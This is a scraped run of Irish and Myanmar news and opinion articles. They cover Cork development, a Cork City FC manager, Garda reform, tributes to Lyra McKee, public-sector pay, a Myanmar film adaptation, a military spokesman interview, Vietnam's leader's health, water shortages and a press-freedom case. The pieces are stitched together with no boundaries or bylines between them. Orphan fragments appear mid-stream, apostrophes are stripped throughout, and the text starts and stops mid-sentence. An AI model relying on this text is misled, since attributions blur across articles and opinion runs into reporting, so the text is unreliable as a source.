air connections, on the Atlantic edge of Europe, to its third-level institutions, skill-sets and graduate output, tolerated and accented acceptance of English language foibles, and FDI-friendly national policies. Locally, too, theres a boundary extension on the way, so the city population is (artificially) going to mushroom. A referendum is due next month on having a directly elected mayor in several cities, including Cork, perhaps putting the importance of the mayoralty in Cork back on a level not seen in over a century. Port activities are making their way down the harbour, albeit at a slower pace than that oft trumpeted, though the waterside sites it will vacate, some with vaunting towers projects proposed, are beset by engineering challenges and, elsewhere, things like Seveso directives regarding contaminated sites. Much of the ambitious docklands campuses need significant government infrastructure to progress: bridges, services, access improvements, flood relief. Much of that is promised under NPF 2040 targets, as are things like Ringskiddy investment, the M20, hospitals and the like. Economic imperatives, matter too. Witness the embarrassing public/private funding haggling going on behind the scenes on the events centre site. Its delay is a credit to no-one, especially as the financial constraints were visible years ago, even before the tendering process. Yet, these are indeed the ebbs and flows of development, of economic forces, the calculations of profit and loss. Bright sides? Lots of them. Apple Europe is freshly enthroned in a much expanded northside campus, up on Hollyhills heights: its tower cranes of the past two years on the elevated northern skyline are sorely missed now on the crane watch count. UCC, which has traditionally been campus bound for nigh on 170 years, is bringing gown closer to town: the university last year bought the former Cork Savings Bank building on Lapps Quay, and is due to follow that on a massive, more incremental scale with its business/finance/economic/commercial departments decanting downriver, to the South Terrace, on the old Brooks Haughton site. When that happens, it will be a significant game-changer for the city core, akin in impact terms to UCDs move to Belfield in Dublin decades ago, only in a more positive, reverse manner, with up to 4,000 students in this new city-centre campus. (But, in an ideal world, shouldnt it have gone to the Beamish & Crawford site?) Foreign direct investment (FDI) has utterly transformed Cork City in recent years, over a decade and more, facilitated by both CIT and UCC. Corks international connectivity has been updated from its 18th and 19th century precedents, abetted by proactive developers (locally grounded in the main, with a few national names now also actively buying up sites,) and the IDA. The evidence is on the streets, with the lilting Cork patois mixing with foreign, diverse tongues, and a pantone-range of skin colours. The welcome mat is rolled out, and the gene pool is widening, for generations to come. As it has, since the time of the Vikings, the Normans, the Huguenots, and now the south and eastern Europeans, Africans and South Americans: as Irish as the Irish themselves? Increasingly, FDIs focus is city centre, in contrast to previous decades, when development pushed to the burbs, clustering around Cork Airport, down at Ringaskiddy, East Gate, out to Blarney and Ballincollig, and the like. Now? Theres more concentration on the bulls eye, the city and core, and thats chiming with international norms of urban concentration, on city living, sustainable transport, short commutes, public parks and lifestyle offers, an area in which Cork with its waterways, coastline and broad culture can excel. Were not there yet. Theres a way to go. Its an uneven, yet long-term rising city trajectory on the tides and it always has been. Please feel free to send us your own contribution on what you feel Cork's future holds, what direction you feel the city is heading and what you want Cork to be in the decades ahead? Find out how to send your readers blog contribution for consideration here. For a man who clocked up 129 goals during his playing days with Cork City, the clubs troubles in scoring this season are naturally frustrating for boss John Caulfield. But the City boss is confident they can cast those frustrations aside, starting in tonights clash with Derry City at the Brandywell (7.45pm). In a desperately disappointing season so far for the Leesiders, the club have scored just eight times in the league four of those came in one match against Finn Harps failing to fire again last Monday night at home to Sligo. Caulfield says the club have been focusing on finishing in training as they bid to get the goals coming. You have to encourage the boys to get in the box and be there to miss chances, says Caulfield. The danger when you dont score and you miss a chance is that you shy away or make the run to the wing when you should be in the box. We did create chances the other night against Sligo, yes we missed them but weve been working on crossing and finishing. I dont care if they miss chances at least theyre in there. Its when they are not in the box, thats when yourre asking questions. Through spells in your own career you might go six or seven games without a goal. You go back to basics, get your head down, get in those positions and hit the target a bobbler might go in and youre back at it again. The Cork boss said after the scoreless draw with Sligo at Turners Cross on Monday that the club had been frustrated with some of their transfer targets this season, missing out on four players who chose not to come to Leeside. Nevertheless he is confident the club remain one of the most attractive destinations in the league. Theres still plenty of players on the phone wanting to come down here, its whether we think theyll make a difference to us, he said. And he expects Kevin OConnor to play an important role over the coming months. The Wexford man has battled to regain his old form for the club he left for Preston in 2017. Kevin came into the club from Preston and hadnt played for the best part of seven or eight months and his fitness was a long way off, said Caulfield. He played in our first couple of games but found it tough because his fitness wasnt there. Weve worked hard with him and I think in the next couple of weeks we ll see that. Hell have a big role to play. Alan Bennett, Matty Gillam, and Cian Murphy are all out but Daire OConnor and Karl Sheppard could play some role for Caulfields men. The justice system and reformers must work hand in glove to restore the publics trust after years of scandals, writes Donncha OConnell It is eight months since the Report of the Commission on the Future of Policing in Ireland was published, and almost four months into the transformation programme adopted swiftly by the Government to implement the Commissions recommendations over a four-year period. At first glance, it might seem that a fast-paced reform process is under way but accepting the commissions recommendations was probably the easy bit. The timeline and sequencing of the reform initiatives as set out in the Governments implementation plan is a realistic reflection of the scale of the challenges. The plan also makes plain the holistic approach required in addressing deep systemic problems. Appearing before the Oireachtas Justice Committee last November, Kathleen OToole, chairwoman of the Commission on the Future of Policing, characterised the implementation of the Commissions recommendations as a first-order national priority. Dr OToole stressed the core importance of community safety and harm prevention as animating principles of policing with a strong emphasis on effective inter-agency working, especially in dealing with vulnerable individuals and communities. Such an approach is merely a reflection of the essential purpose of policing the protection of human rights. The commission also made proposals for reform of national security arrangements and these are being progressed without delay, as evidenced by the moves already in train to establish a National Security Analysis Centre located in the Department of An Taoiseach. Our recommendations for independent oversight of these new arrangements also require serious and immediate attention so as to achieve the appropriate human rights balance within the framework of the rule of law. In relation to the governance of An Garda Siochana, the commission recommended the creation of a statutory board and significant restructuring of the current policing oversight mechanisms through the amalgamation of the Policing Authority and Inspectorate of An Garda Siochana into a single new oversight body, the Policing and Community Safety Oversight Commission. This recommendation did not meet with universal approval although it is supported unequivocally by the Effectiveness and Renewal Group led by Padraig O Riordain that is working on major reforms of the Department of Justice & Equality. The Commission also recommended that GSOC be radically reformed and reconstituted as an Independent Office of Police Ombudsman. All of our recommendations were based on an extensive and rigorous process of consultation with many stakeholders in Ireland and abroad. Perhaps some of the most formative encounters in our work were with community groups whose insights on the need for closer connections with An Garda Siochana and more accountability for policing at the local level were crystal clear. Those members of An Garda Siochana who worked in community policing testified to the perceived lack of esteem for their work in an organisation that prioritised other areas of policing while paying lip service to what should be the core business of any policing service policing with communities. It should be possible to reconcile the loud demands of communities for greater visibility and improved engagement with the police service, with the desire of those Gardai engaged in community policing for this critical work to be given greater recognition within the organisation. However, making it happen will require a fundamental shift in the culture of An Garda Siochana one that must be driven from the top but supported at all levels of the organisation. In particular, the Garda representative associations must broaden their view of how their members interests are best served by looking at the reform process as an opportunity to improve the working lives of Gardai at the same time as delivering the best possible service in communities. The Commissions extensive contacts with individual members of An Garda Siochana reflected a strong desire for radical change. Posturing to postpone or undermine reform will serve neither their members interests nor the public interest well. Pragmatically, the focus of the transformation scheme is on strengthening core capabilities within An Garda Siochana a not inconsiderable task to drive the necessary changes to things like rosters, performance management, disciplinary processes, and IT. These are all indispensable levers of large-scale change. The emphasis is on empowering the organisation to take ownership of the reform process, harnessing the positive energy of those advocating change and dismantling those elements of organisational culture that are dysfunctional or even toxic. Garda Commissioner Drew Harris faces a massive set of challenges but is signalling firm purpose. He will need a robust structure of supportive governance to guide him but he will also need a confident openness to external challenge to maintain momentum in the years ahead. The Commission on the Future of Policing was unequivocal in its opposition to piecemeal change and unapologetic in its ambition for a transformation of policing in Ireland. Translating the vision of the commission into actual reform is a mammoth task of holistic re-engineering. It demands change of all players, not just An Garda Siochana, to bring about a restoration of public trust and confidence. Donncha OConnell is an established professor in the School of Law, NUI Galway and was a member of the Commission on the Future of Policing in Ireland. He is the convenor of a conference on Policing, Human Rights and Communities hosted by the School of Law and Irish Centre for Human Rights in NUI Galway today. Several years ago, I used to hear this familiar word being used in a foreign sense. The people in my vicinity would take this well-known word to describe others who were acting in a high-brow way, but in a high-brow moral way. The word sounded complimentary to me, but it was clear they were using it in a disparaging tone. He or she or it is a bit worthy, dont you think, they would say. Surely, behaving or communicating in a worthy way was a positive thing? How could someones good deeds or words have the power to aggravate anyone? And so I resented their botched use of the word worthy. But this week, I returned it to its proper use. In imagining Lyra McKee the person, worthy was the only adjective that came to mind. An idealist, a doer, a giver, someone who sent a few bob in the post to a single mother who she heard was going through a tough patch. A grafter, a hustler, a seeker of truth, but not a seeker of fame. A friend, an advocate, a journalist who was driven by the hope of justice, not by the allure of ego. A young woman who had gone through her fair share of hardship, because of her sexuality, and as detailed in her letter to her 14-year-old self. But a young woman who had emerged from that hardship with empathy and compassion, in the true sense of both those words. With every reason to be angry at the faith she was born into, for its rejection of her based on her sexuality, she instead was friendly with its clergymen. In her own words, Lyra was to reap the spoils of peace, and benefit from the freedom of a new Ireland, one where peace and progress were now the expected the norm. Coming out to her family just before her 21st birthday and being greeted with love and acceptance, Lyra went on to fall in love herself, finding her own sense of personal freedom a freedom that saw her emigrate from Belfast to Derry, sign a two-book deal that would showcase her insightful and tender writing, and a freedom that was teeing her up to propose to Sara Canning, the love of her life. She had even bought the ring. Lyra epitomised Irish freedom, her story is many peoples story. Unlike the generation that went before her, she had the opportunity to be her private self in public. This act of being her true self attracted many friends, of all ages and backgrounds. She delighted in the company of others. Another thing about Lyra she seemed acquainted with causes, but she also seemed to have a light and easy sense of humour, a fortunate asset for anyone drawn to the gritty work of social justice. While she was just four when the Provisional IRA ceasefire was called, and so, in her words, was too young to remember the worst of the terror, Lyra still went on to become a social activist. This is another way that she epitomised her generation, she neednt have burdened herself with the social justice issues of the day, but she did, and tirelessly so. From a country where begrudgery seems to be encoded into our DNA, I cant imagine there is a single person who wouldnt want to have seen what the already brilliant 29-year-old Lyra would go on to become. We could all be as proud of her soon-to-be-published books as she was of other Irish writers, particularly those who were from her neck of the woods. She seemed like the kind of person who we could have easily let slip into that special cohort of ours, that set of national treasures, that small group of people whove done admirable things while behaving with decency and kindness. Wed celebrate her because she was the best parts of us in one person. I didnt know Lyra McKee, I wasnt lucky enough to, but she was of my generation, more or less. This is the generation that missed most of the Troubles, the one that, almost, takes peace and democracy for granted. Peace, like trust, takes an inordinate amount of time to build, a split second to lose, and then twice as long to regain. This generation is starting to realise that now. The story of Mark Boyle, the Donegal man who rejected modernity, was doing the rounds this week. He built a house from wood and straw on a smallholding in Galway, he grows his own vegetables and catches his own fish, and he handwrites letters to communicate with friends and family. He is not doing this to save the world but to savour it. Despite the visible drudgery and despair of this world, Mark is right, there is so much to savour, and our democracy is a good place to start. In a time where Twitter spats make headline news, and daily outbursts of unproductive outrage have become the norm, we could benefit from adopting Lyra McKees tried and tested personal philosophy. Its been the one request of her family. We would ask that Lyras life and her personal philosophy are used as an example to us all as we face this tragedy together. Lyras answer would have been simple, the only way to overcome hatred and intolerance is with love, understanding and kindness. Lyra, I wish I had known you, Im probably not the only one. It wouldnt be Easter week without it. We awoke last Monday to the fresh demands for more pay from our beloved public sector unions. Unions representing hundreds of thousands of State employees are set to press for a mid-term review of the current public-service agreement which could open the way to higher or accelerated pay increases for staff, came the reports. The acting secretary of the public services committee of the Irish Congress of Trade Unions (ICTU), Kevin Callinan, suggested a mid-term review of the existing public service agreement could now be put in place. The 900m deal is scheduled to run until the end of next year, we were told. Callinan said such a review would be one of a set of possible measures that could help maintain the confidence of union members in the current agreement in the wake of the nurses dispute. Callinan said that since the accord was negotiated two years ago, the country had seen economic growth and inflation on a level that had not been anticipated at the time. So, unions for the most privileged workers in our country whose jobs are immune from redundancy, whose pensions are among the most generous on offer to anyone want to re-open a deal on pay they agreed to less than two years ago. Before you start, this is not another piece taking a bash at the unions or public sector worker but rather seeking to raise the concern of our feckless and weak political class to resist such greedy calls. Because that is what they are, greedy. Unions, who in truth are speaking out of both sides of their mouths, continuously cry foul over the inequality for newer members hired since 2011 yet forget they themselves agreed to the creation of the two-tier system as opposed to allowing current members take greater cuts. That is not spin, that is a fact. To now demand that the contracts they willingly signed up to be changed is the height of hypocrisy. It is also worth remembering that since the public pay bill began to rise again in 2014, it has swallowed up more than half of the total increase in government expenditure, as economist Dan OBrien has recorded. The rate of growth in the public pay bill has far outstripped the rate of non-pay government spending. It has not done so by a small margin or even at twice the rate. It has risen at a rate of more than three times that of other spending (to be precise, 12.6% versus 4%), OBrien said in a recent analysis. According to CSO figures, in the public sector including semi-state, the average weekly wage went up 2.4% from 936.29 to 959.09 in the past year to June 2018. There was also an increase in average weekly earnings in the private sector of 3.6%, from 659.48 to 683.12 over the same period. Also, the Oireachtas Parliamentary Budgetary Office concluded in a recent paper that the increase in the cost of the public sector pay bill continued even after tax revenues in Ireland collapsed a decade ago as a result of pro-cyclical policies. More alarmingly, it says such risks still exist now. This illustrates the risks that have arisen in the past from a pro-cyclical pay policy and may arise again, especially in the context of reliance on potentially volatile sources of revenue. This is particularly important as reductions in the public pay bill played a significant role in the budgetary adjustment required during the economic and fiscal crisis, it concluded. Since 2016, the unwinding of the financial emergency legislation commenced with the Lansdowne Road Agreement (2016-18) and will be completed under the Public Service Stability Agreement (2018-20). Under the Lansdowne Road Agreement, which cost 844m, the principal pay measures were: From January 1, 2016, annualised salaries up to 24,000 were increased by 2.5%; and annualised salaries from 24,001 to 31,000 rose by 1% From September 1, 2017, annualised salaries up to 65,000 were increased by 1,000 The Public Service Stability Agreement (2018-20) extended the terms of the Lansdowne Road Agreement. By the end of 2020, pay will be restored to all public servants earning up to 70,000 which equates to almost 90% of public servants. Any outstanding amounts to be restored for high earners will be made by ministerial order. The bottom line is that the campaign for so-called pay restoration is the acquiescence of a weak and feeble political class to stare down the almighty lobby of the public sector unions. The drive to restore boom-time pay levels is an exercise in folly and hubris and will not address inequality but will, in fact, do the opposite. Dating back to the ill-judged and outrageous benchmarking process in 2002, pay for public sector workers has outpaced growth in the private sector as well as skyrocketing in simple cash terms. To continue this process means that those who are paid least in our society will continue to pay for those who are among the best paid and best protected in Ireland. Despite this inequity, the political class have not challenged it, preferring to bend the knee to the unions. Last week, Finance Minister Paschal Donohoe gave an important shot across the bow of the unions, telling them clearly, in his diplomatic language, that they have never had it so good. The pursuit of unaffordable and unsustainable wage increases, beyond what has already been committed to, has an all-too-familiar ring to it; one which should be of grave concern. He said public servants in general benefit from two forms of pay adjustments, incremental progression up a salary scale, and also general annual pay increases negotiated through pay agreements. This contrasts to the private sector where pay has moved towards more individualised arrangements, where some do very well but many dont, Donohoe warned. The public service is a progressive employer when we consider annual leave, flexible working and the facilitation of work-life balance as is right. Also, how many employees in the private sector enjoy full salary top-up on maternity and paternity leave? Finally, public servants have security of tenure that generally doesnt exist in the private sector, said the minister. His calls clearly are being ignored by unions who can smell blood from this weakened administration which has already kicked important money issues like property tax and third-level fees to the long grass. Can Donohoes fine words be backed up with action from this Government and the Dail? I fear not. So, beware of the calls for equality as is perfectly clear when it comes to our cosseted public sector, they simply prefer to be more equal and remain more equal than the rest of us. A week ago this morning, Ireland woke up to shocking news. We were reminded by the callous, collateral, almost casual murder of Lyra McKee by the latest anti-democratic terrorists that the old hatreds, the dangerous delusions, linger. It was as if the atrocity was a reminder that evolution is an uneven, staggered thing, creeping along at varying speeds. This unevenness was recognised all those years ago when Seamus Mallon, a man committed to the peaceful, political resolution of conflict, described the Good Friday Agreement as Sunningdale for slow learners. The atrocity of McKees murder showed that we have fewer and fewer slow learners even if we still have far too many, as exemplified by the Saoradh parades which took place in Dublin and Cork hours after McKees murder. The universal outrage provoked by those parades showed how uneven evolution can be. The description of Saoradh as criminal rather than patriotic by relatives of participants in the 1916 Rising, at a wreath-laying ceremony in Dublin on Wednesday, reflects precisely the majority view of that tiny faction. This weeks protest in Derry, when friends of McKee refused to be cowed by the passive aggression of the goons outside the headquarters of the dissident republicans and left images of blood-stained hands on the walls, spoke volumes. That at least 140 people have offered information to the PSNI investigating the murder spoke even more loudly and clearly. Anyone who remembers a time when the IRA of the 1970s kidnapped and murdered a widowed mother of 10, Jean McConville, on unfounded suspicions of helping the police, cannot but be astounded. Maybe the IRA leaders of those days were more forceful, more interested in results than methods, but it is unimaginable that anyone would have had the courage, and survived, had they protested at Sinn Fein offices over one IRA atrocity or another during those years. The response to last weeks murder, and to those pathetic parades suggests that a critical momentum has been reached, that our political evolution has crossed a Rubicon and pulled up the drawbridge. This must mean, if this dripping-slow evolution is to have any heft, that violence, and those who perpetrate it, will no longer be tolerated. However, the most pressing problem is to give that determination real meaning. The declaration from DUP leader Arlene Foster that McKees death was not a result of a political vacuum underlines the scale of the challenge. Thats not to say that we [politicians] dont bear responsibility because there is no Assembly, she conceded. Sinn Fein leader Mary Lou McDonald has also said she wanted to restore Stormont, declaring that, if there was the political will, the impasse could be sorted out in one hour. Both these leaders, each appointed rather than elected, must be aware of growing speculation that they are, like Theresa May, about to be replaced. If they cannot recognise the wave of outrage provoked by McKees death and restore meaningful, representative political life in the North they will show themselves slow learners and deserve to be rejected in ignominy and something close enough to disgrace. We believe this is a wave of the future, Carlson said. What we are saying is to move forward we need public-private partnerships. We need to convince other parts of the private sector that is in their interest to do so. Sri Lankan soldiers have exchanged gunfire with suspects after attempting to raid a building in Sri Lankas Eastern Province as part of the ongoing investigation into the Easter Sunday suicide bomb attacks. Brigadier Sumith Atapattu said a gun battle was underway in the coastal town of Sammanthurai, 200 miles from the capital, Colombo. Culture Intl Best-Selling Novel Set in Myanmar to Be Adapted for Big Screen German author Jan-Philipp Sendker in Germany in 2016 The Art of Hearing Heartbeats, the globally popular romance novel set in Myanmar by German author Jan-Philipp Sendker, is to be made into a movie with shooting scheduled to start next year. Published in 2002, The Art of Hearing Heartbeats was the first book by the author. It was the beginning of a series, with the second book, Well Tempered Heart, released in 2012. The novels have proven successful not only in Myanmar but worldwide, being translated into 35 languages including Burmese. They are set in Myanmars popular tourist destination, the hill town of Kalaw in Shan State. The main producer of the film is Danny Krausz of Austrias DOR Film, with Germanys Detlev Buck set to direct. Currently, they are casting the actors in Thailand, [Myanmar] and other countries. I and other [crew] members went to Kalaw last month for location scouting, Sendker told The Irrawaddy. The Art of Hearing Heartbeats is a romance mystery novel set in Kalaw featuring Burmese characters. Young lawyer Julia Win seeks to track down her father four years after he disappeared in Myanmar. She meets U Ba, a mysterious man who knows many things about Julia through her father. U Ba tells the story of her fathers first 20 years of lifea mystery love story about which her family knew nothing. Prior to writing the novel, Sendker traveled to Myanmar many times starting in 1995. My many trips to Burma were tremendously important for the book. Burma and its people are not just a backdrop for the stories of my two Burma novels but an important part [of the story], he said. He added, I do not know where and how I get the ideas. I think the ideas get me. Kalaw is his favorite city in Myanmar and the novels settings are based on actual houses there, but those may not be available for use in the movie as they are so old, he said. If the locations are not okay to be set up for film shooting, the crew will build a whole new set, he added. The locations are based on real places and the characters are also based on the people who I met. I met a lot of people from different places and got a chance to know them. Then, I create my novels characters from their stories. Sometimes, I added my imagination and the general mindset which everyone in the world has. Thats why people from different countries can [share] their experiences, Sendker said at a meet-the-author event on March 27. He turned his experiences and feelings into words and put them in his book, he said. In the novel, theres a part which describes a woman giving birth. Obviously, I didnt have that experience but I was present when my wife gave birth to our child. So, I witnessed her pain and can feel it. So, I turned that feeling into words, added to my imaginative feelings and described details, he explained. Sendker wrote the script himself. Regarding the difference between writing a novel and script, he said, Its different than writing a novel because you do not have the inner monologue and you have to find images and scenes without words. Not easy. He added: I liked the writing very much. Shooting will start in the fall of 2020 in New York, Myanmar and Thailand. One of the authors fans from Myanmar, travel blogger Thiha Lu Lin, said, After reading his book, I wanted to go to Kalaw immediately and find the house from the novel, and I did. It was there, and that feeling is special; I dont know why. He can describe Kalaw in detail and he knew that city very well. I cant wait to see my favorite novel as a film. The Art of Hearing Heartbeats has a special place in Sendkers own heart. He said, Most importantly, it was my first novel and I had been dreaming about writing a novel for 20 years. With that book my dream came true, he added. In Person Tatmadaw Following Rules of Engagement in Rakhine: Spokesman Brig-Gen. Zaw Min Tun More than four months after fierce clashes broke out between the Myanmar military (or Tatmadaw) and the Arakan Army (AA), military tensions remain high in Rakhine State between the two sides despite the recent talks in Naypyitaw. Brigadier-General Zaw Min Tun, secretary of the Tatmadaws True News Information Team, recently talked to The Irrawaddys senior reporter Htet Naing Zaw about the Tatmadaws ongoing clashes with the AA, the Kachin Independence Army (KIA) and the Karen National Liberation Army (KNLA). HTET NAING ZAW: How many people have the Tatmadaw filed lawsuits against under Section 17(1) of the Unlawful Association Act in Rakhine State [over their suspected association with the AA]? How many people are facing trial? BRIG-GEN. ZAW MIN TUN: As far as I know, two monks were disrobed and arrested, and 23 were arrested in Let Kar [a village in Mrauk-U Township]. There might be more. I dont know the exact list. We heard that some detainees died during interrogation in the Let Kar village case. Is it true? Yes, it is. We have issued a press release. One person died during interrogation. Another died of heart problems, around April 20, 21. The third one was a drug addict. According to procedures, we sent the bodies to Sittwe Peoples Hospital, and had post-mortem examinations carried out. We reported the deaths to the police station. So far, three detainees have died. Were they detained for their connections with the AA? We arrested them because they had ties to the AA. We found documents about their organizational structure, along with a list of names. We have the records of their interrogations, and they are [AA] members. Just those 23? We heard that the Tatmadaw also took four people to Tein Nyo [also in Mrauk-U]. Yes, thats correct. We have opened cases against four at Tein Nyo police station. So there are 27 in total. We only know that much. In some cases, [suspects] were directly arrested by the police, and not by the Tatmadaw. For the time being, they are only being interrogated, and I havent heard that any ruling has been made by a court. What is the situation regarding the fighting with the AA? Has it escalated? Where are clashes taking place? The engagement has not escalated. It is notable that there have been hardly any engagements on the Agnu Maw and Maungdaw routes. Recently, there were mine attacks on the Agnu Maw and Maungdaw routes. There were at least two attacks, though there were no injuries. We have issued a press release stating that there were mine explosions at a village downstream of Kyauk Pan Nu. What instructions are soldiers given in terms of following the militarys code of ethics to avoid civilian casualties? We have rules of engagement, which bar us from attacking non-military targets. But there is an exception: We can return fire if the enemy launches an attack on us. We have repeatedly said that the situation is complicated in Rakhine State. [They] launched attacks near villages, and shot from the villages. Under such circumstances, we inevitably had to return fire. There have been many examples. Whenever something happens near a village, there are reports that villagers have been wounded and that the Army is responsible for that. But in reality, both sides fired. So, it cant be said exactly which side is responsible. When [they] launch attacks near villages, we try as much as we can to avoid [civilian casualties]. We only return fire when there is no alternative. Lately, the Tatmadaw has sued very few village administrators [for having alleged ties with the AA]. Has it changed its policy? We interrogated some village administrators. Recently, there was an incident in which our battalions were shot at from Yangon-Sittwe Road in Mrauk-U. And there was also shooting [at the Tatmadaw] from the village of Baung Htoke. So, we interrogated the village administrator, and met community elders at the village monastery, and held talks with them. This is our usual procedure. We have not changed our policy regarding village administrators. What is happening on the ground is there are people who intentionally cooperate with the insurgent group. We must identify and take action against them. But on the other hand, some people have to engage with [the insurgents] out of fear or for other reasons, and not because they wish to. It is unrealistic to take action for such engagement. In some cases, [locals] have had to engage [with the AA] against their wishes. In that case, we dont take action against them. The Presidents Office has given approval [to the military] to crush the AA. The Tatmadaw has launched a counter-insurgency operation in response. Does this mean it will continue military operations in Rakhine? We will continue military operations until regional security can be guaranteed. There is another important thing. We are clashing with the KIA in [the area overseen by the Tatmadaws] North-East Command. There is no fighting in Kachin State, but in northern Shan State, in Muse. We have clashed with the KIA four times through April 23 [since the end of Thingyan on April 17]. The main reason is that we and the KIA had agreed territories since before starting the NCA [Nationwide Ceasefire Agreement] process. But they established outposts beyond their [agreed] territory. And they shot our soldiers who were performing logistical duties. We occupied seven or eight KIA outposts on April 23. They [KIA troops] were deployed some 6,000 meters from our Mongpaw outpost, and launched sneak attacks on us. We were able to clear almost all of the area on April 23. Will the Tatmadaw continue to build roads in Karen State? I have heard there are tensions [in the area]. The Tatmadaw is building roads in Karen State, and the [Mu The] bridge must be completed before the rainy season. So, we are continuing with its construction. Tensions heightened [with locals staging a demonstration] when the Karen State chief minister visited the [bridge construction] site. The roads we are building are not new ones, but old ones linking Kyauk Kyi with Toungo, and further connecting with Yun Salin Gyi Creek. We are improving the road [by paving it] with gravel, and have so far reached Mu The. Previously, it took a whole day to travel [from Kyauk Kyi] to Mu The. Now, the travel time has been reduced to around three hours. There are organizations that oppose the road construction. [The local Karen National Union chapter has objected to the new bridge]. There were protests against the bridge construction. For the time being, we are continuing with the bridge construction. Asia Vietnam Leader Nguyen Phu Trong Suffering from Illness Vietnam's Communist Party General Secretary Nguyen Phu Trong stands at attention after being elected as Vietnam's State President during a National Assembly session in Hanoi, Vietnam, October 23, 2018. / Reuters HANOIVietnamese leader Nguyen Phu Trong, the architect of the Southeast Asian countrys anti-corruption drive, has been suffering from an unspecified illness, four diplomatic sources have told Reuters. Trong was admitted to the 108 Military Central Hospital in Hanoi, the diplomatic sources said, requesting anonymity because of the sensitivity of the issue in the communist-ruled country. In the first official comments on the 75-year-old Vietnamese leaders health since his last public appearance 11 days ago, foreign ministry spokeswoman Le Thi Thu Hang said on Thursday that Trongs health had been affected by a heavy workload and changeable weather conditions. Hang did not say how serious Trongs condition was, but added that he would resume his normal duties soon, without elaborating. Reuters was unable to determine how serious Trongs condition was, or if he was still in hospital. We have no knowledge of his condition or how fit he is to carry out any official functions, one of the diplomatic sources said. The sources said Trong, who is both president of the country and general secretary of the Communist Party, fell ill on his birthday on April 14 in the southern province of Kien Giang, whereaccording to state mediahe had been visiting local agricultural and industrial projects. The health of Vietnams leadership is by law considered a state secret and, before Thursdays foreign ministry statement, state media had not reported on Trongs health. In the absence of information, unconfirmed rumor and speculation about Trongs condition has spread quickly on social media. On Monday, after Trong was taken ill, his name was trending on Google in Vietnam. Trong has presided over a widespread crackdown on corruption in Vietnam that has seen several high-ranking ministers and politicians, including one Politburo member, handed prison terms on charges ranging from embezzlement to economic mismanagement. The crackdown, which is viewed by critics as being politically motivated, has also led to the arrest of several high-ranking police officers and prominent businessmen. Officially, Vietnam has no paramount ruler and is led collectively by the president, prime minister, Communist Party chief, and chair of the National Assembly. But Trong added the role of president to his existing role of Communist Party General Secretary in September last year following the death of former President Tran Dai Quang. If the two positions were to become vacant it could spark a shift in the balance of power in Vietnam ahead of the next meeting of the Party congress, the countrys supreme body, in early 2021. Burma 630,000 Without Adequate Potable Water as Summer Temps Soar Volunteers transport water to a village in Pindaya Township in Shan State in the third week of April 2019. / Aung San YANGONTen of 14 regions and states are currently suffering from shortages of drinking water due to rising summer temperatures, according to the Rural Water Supply Department of the Ministry of Agriculture, Livestock and Irrigation. Day temperatures across the country have reached over 40 degrees Celsius on average, climbing to 46 degrees Celsius in some parts of central Myanmar. According to the department, more than 630,000 people from 208 villages in 93 townships in Kayah, Mon, Rakhine and Shan states, and Sagaing, Bago, Magwe, Mandalay and Irrawaddy regions and Naypyitaw are facing a scarcity of drinking water. In previous years, only central Myanmar faced drinking water shortages, but this year, water scarcities have also been reported in Irrawaddy Region and Shan State, said veteran meteorologist U Tun Lwin. Taking a look at the current situation, the area facing water scarcity has broadened and the time [when shortages usually occur] has come earlier, he said. There are two causes that can lead to water scarcity in Myanmar. One is rising temperatures and another is deforestation. These two factors can cause water scarcity. Previously, Myanmar had the fourth richest sources of ground water in Southeast Asia, said U Tun Lwin. Pindaya, Kalaw and Nyaungshwe townships in southern Shan State are also facing water scarcity. Some of the villages in those townships started facing water scarcity some five years ago, mainly due to deforestation. They fail to maintain water sources, said Ko Aung San, a member of a local community-based organization supplying water to those townships. Temperatures are higher this year. Water sources have dried up more quickly due to high temperatures, and there is therefore a shortage of water, said U Khin Aung of Kanbawza Brighter Future Myanmar Foundation which is supplying water in southern Shan State. An ethnic Lahu village in Mong Nai Township in southern Shan State is also facing water shortages. Municipal authorities in Yangon have urged Yangon residents to be economical with water usage. The Ministry of Social Welfare, Relief and Resettlement has also established a hotline at which people can seek help for drinking water requirements. Translated from Burmese by Thet Ko Ko. Burma Committee to Protect Journalists Urges Military to Drop Case Against The Irrawaddy U Ye Ni, The Irrawaddy Burmese Edition editor, talks to the media after his bail is granted on April 22. / Myo Min Soe / The Irrawaddy YANGONThe New York-based Committee to Protect Journalists (CPJ) has urged the Myanmar military to drop its criminal defamation case against The Irrawaddy over its coverage of the conflict in Rakhine State. On April 12, the militarys Yangon Region Command filed a criminal complaint against the news outlets Burmese-language editor U Ye Ni at the Kyauktada Police Station in Yangon. The criminal complaint was filed under the Telecommunications Laws Article 66(d), which is punishable by two years in prison. The editor was allowed to post bail on the same day the complaint was filed. It is the second time the military has taken legal action against The Irrawaddy in the past three years. In June 2017 a reporter from the news organization and two others from Democratic Voice of Burma were detained by the military and charged under Article 17(1) of the Unlawful Association Act during a reporting trip to northern Shan State. The CPJ, a U.S. non-profit organization that promotes press freedom and defends the rights of journalists worldwide, on Thursday called for Myanmars military to stop using legal threats to stifle news coverage of ongoing armed conflicts and to allow journalists to do their jobs without fear of reprisal. This spurious criminal accusation against The Irrawaddy editor Ye Ni should be dropped immediately and unconditionally, said Shawn Crispin, CPJs senior Southeast Asia representative. The Irrawaddy editor-in-chief U Aung Zaw called the complaint part of a military intimidation campaign aimed at silencing prominent media. Brigadier General Zaw Min Tun, an official at the militarys True News Information Team, a communications department, told The Irrawaddy on April 21 that its recent news coverage of clashes between government forces and the insurgent Arakan Army had been unfair and prompted the legal action. The criminal complaint against The Irrawaddy comes against the backdrop of the continued incarceration of Reuters reporters Wa Lone and Kyaw Soe Oo, whose final appeal of their seven-year prison sentences under the Official Secrets Act for reporting on the conflict in Rakhine State was rejected on April 23. Myanmars government and military have used Article 66(d) to stifle media criticism and intimidate and harass journalists. Meanwhile, the militarys ire has not been limited to the news media. It recently charged an activist, a human-rights film director and student activists with public mischief. In 2017, the military sued the editor and a writer from local paper The Voice over a satirical piece. Human Rights Watch also released a statement on Friday stating that the Myanmar authorities have in recent weeks engaged in a series of arrests of peaceful critics of the Army and government. It urged Parliament to repeal or amend repressive laws used to silence critics and suppress freedom of expression. The statement said the recent upswing in arrests of student activists engaged in satirical performances, as well as political activists and journalists, reflects a rapid decline in freedom of expression in Myanmar under the National League for Democracy (NLD)-led government. During Myanmars long military dictatorship, numerous governments and donors made freedom of expression and freeing political prisoners the cornerstone of their policy, said Brad Adams, Asia director at HRW. At a time when Myanmars transformation to a rights-respecting democracy hangs in the balance, where are those same voices? he asked. Burma Despite International Petition, Filmmaker Again Denied Bail U Min Htin Ko Ko Gyi after Thursdays trial at Insein 